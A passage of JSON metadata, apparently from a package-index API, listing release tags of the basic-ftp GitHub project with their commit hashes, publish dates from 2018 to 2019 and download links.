,"kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/